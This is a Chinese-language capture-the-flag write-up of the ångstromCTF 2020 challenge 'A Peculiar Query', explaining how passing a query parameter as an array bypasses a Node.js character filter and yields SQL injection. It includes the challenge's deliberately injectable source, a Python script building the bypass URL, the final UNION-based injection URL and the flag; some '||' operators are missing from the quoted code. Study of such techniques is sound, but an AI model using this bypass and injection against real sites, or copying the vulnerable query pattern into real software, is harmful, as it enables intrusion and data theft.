一道Node.js类型混淆污染与字符逃逸实现SQL注入的题目分析

Author:颖奇L’Amore
Blog:www.gem-love.com
近日在参加🇺🇸ångstromCTF 2020时做了一个比较好的Node.js的题目


名称: A Peculiar Query
链接: https://peculiarquery.2020.chall.actf.co/
考点: Node.js代码审计、类型混淆污染、SQLi
难度: Medium

Code

是本次比赛质量比较高的一个题,打开之后是个搜索的界面,同时给了源码:

const express = require("express");
const rateLimit = require("express-rate-limit");
const app = express();
const { Pool, Client } = require("pg");
const port = process.env.PORT 9090;
const path = require("path");

const client = new Client({
user: process.env.DBUSER,
host: process.env.DBHOST,
database: process.env.DBNAME,
password: process.env.DBPASS,
port: process.env.DBPORT
});

async function query(q) {
const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`);
return ret;
}

app.set("view engine", "ejs");

app.use(express.static("public"));

app.get("/src", (req, res) => {
res.sendFile(path.join(__dirname, "index.js"));
});

app.get("/", async (req, res) => {
if (req.query.q) {
try {
let q = req.query.q;
// no more table dropping for you
let censored = false;
for (let i = 0; i < q.length; i ++) {
if (censored "'-\".".split``.some(v => v == q[i])) {
censored = true;
q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
}
}
q = q.substring(0, 80);
const result = await query(q);
res.render("home", {results: result.rows, err: ""});
} catch (err) {
console.log(err);
res.status(500);
res.render("home", {results: [], err: "aight wtf stop breaking things"});
}
} else {
res.render("home", {results: [], err: ""});
}
});

app.listen(port, function() {
client.connect();
console.log("App listening on port " + port);
});

首先,获取了参数q然后进行SQL查询,基本可以肯定是是个SQL注入题:

async function query(q) {
const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`);
return ret;
}

但是紧接着就是个waf,对q挨个字符判断,如果匹配到' - " .就把后面都置为****:

let q = req.query.q;
// no more table dropping for you
let censored = false;
for (let i = 0; i < q.length; i ++) {
if (censored "'-\".".split``.some(v => v == q[i])) {
censored = true;
q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
}
}

如果验证waf通过,就会截取q的前80位进行sql查询,输出查询结果:

q = q.substring(0, 80);
const result = await query(q);
res.render("home", {results: result.rows, err: ""});

类型污染Bypass

可以看到,这个匹配危险字符是对字符串q的任何一个字符进行匹配。但是,谁规定q就是字符串了?

let q = req.query.q;

php题目的一个常规套路就是用数组去绕过哈希,因为PHP中的md5() sha1()等函数不能处理数组,如果传进参数为数组则返回false,false等于false故可以绕过比较。如果本题目中的q也是一个数组,那么这个遍历q的for()循环的每一轮中,q[i]就不再是一个单字符了,而有可能成为字符串。举个例子:

\["y1ng","gem-love.com","sql ' and 1=1 ' inject"\]

q[i]就分别是y1ng、gem-love.com、sql ‘ and 1=1 ‘ inject,对于第三个元素,虽然里面有危险字符',然而对于字符串和字符是不满足==的:

`"'-\".".split``.some(v => v == q[i])

测试:

let q = ['y1ng','\\\\', " or '1'='1' ", 'a-a'];

for (let i = 0; i < q.length; i ++) {
if (censored "'-\".".split``.some(v => v == q[i])) {
console.log('waf!');
console.log(q[i]);
}
}

WAF被成功绕过。

类型问题

对危险字符判断后,对q进行了substring()截取之后进行sql查询:

q = q.substring(0, 80);

那么数组substring()截取得到的是什么呢?运行一下发现报错了:

TypeError: q.substring is not a function

这是因为substring()方法是String对象的方法,而Array无substring()方法,因此报错。 JS中数组+字符串=字符串,实际上JavaScript万物皆是字符串,函数、对象、字符串、数字相加,加出来都是字符串。正好,如果匹配到危险字符,就会拼接上*,这样q就从Array变成了String

q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);

所以我们可以在数组中故意加上一个元素,让它被匹配成功,这样q就被转成了字符串,substring()方法就不会报错了,测试:

let q = ['y1ng','\\\\', "'", 'a-a'];
let censored = false;
for (let i = 0; i < q.length; i ++) {
if (censored "'-\".".split``.some(v => v == q[i])) {
censored = true;
q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
}
}
q = q.substring(0, 80);
console.log(q);

长度问题

虽然运行成功了,但是q的第一个元素y1ng却被做星号处理了:

这是因为数组的length和字符串的length不一样,SuSeC的wp里也写了,数组的length指的是数组元素个数,字符串length是字符的个数。这个q数组中的q[2]被匹配,q被转为字符串"y1ng\\'a-a",现在q.length变了,q[2]也从一个数组的元素变成了字符n,后面的字符被*了,导致最后q输出为y1n******** 本题目要进行SQL注入,因为这个length的原因注入的payload肯定会被*掉,如何解决? 肯定的是,q[]数组的第一个元素q[0]是要用的payload。在遍历数组查找非法字符时,如果这个非法字符在数组中出现的位置(数组的index)与q[0](payload)的长度刚好匹配,就可以让整个payload都逃逸出来。比如让”y1ng“逃逸出来:

let q = ['y1ng', 'a', 'a',  "'"];
let censored = false;
for (let i = 0; i < q.length; i ++) {
if (censored "'-\".".split``.some(v => v == q[i])) {
censored = true;
q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
}
}
q = q.substring(0, 80);
console.log(q);

说的再明白点就是:payload多长,就在第几个元素出现非法字符。比如y1ng长度为4,就在第4个元素(q[3])上放一个非法字符,这样y1ng就刚刚好逃逸出来。

SQL注入

可能有人就会问了:对于一个从query中得到的q,如何为q[]数组添加元素? 其实很简单,只要?q\[\]=y1ng&q\[\]=a&q\[\]=a&q\[\]=a&q\[\]=a&q\[\]=a&q\[\]=a&q\[\]=a就可以了 所以写一个脚本来自动完成这些中间数组元素的填充:

# '''
# 颖奇L'Amore www.gem-love.com
# 转载请勿删除本水印
# '''
from urllib.parse import *

#your payload here
payload = "1' and 1=2 union select table_name from information_schema.tables--"
payload = quote(payload)
length = len(payload)
url = 'https://peculiarquery.2020.chall.actf.co/?q[]=' + payload
for i in range(0, length-2):
url += '&q[]=y1ng'
url += "&q[]="+quote("'")
print(url)

还有个问题就是substring(0, 80)只截取了80个字符,所以一定要构造一下自己的payload,不要过长。还好题目能够把多行数据都返回并显示出来:

后面就注就完了,在脚本的payload处填上注入语句,什么过滤都没有,直接往出注就完了,最终的payload为:

https://peculiarquery.2020.chall.actf.co/?q[]=1%27%20and%201%3D2%20union%20select%20crime%20from%20criminals--&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=%27

flag:actf{qu3r7_s7r1ng5_4r3_0u7_70_g37_y0u}

后记

  1. JavaScript中数组与字符串相加后返回字符串
  2. 数组的length和字符串的length不同
  3. 如果出现变量类型转换,则会导致var.length改变,引发某些安全问题
Author: Y1ng
Link: https://www.gem-love.com/2020/03/19/一道node-js类型混淆污染与字符逃逸实现sql注入的题目分/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
【腾讯云】热门云产品首单特惠秒杀,2核2G云服务器45元/年    【腾讯云】境外1核2G服务器低至2折,半价续费券限量免费领取!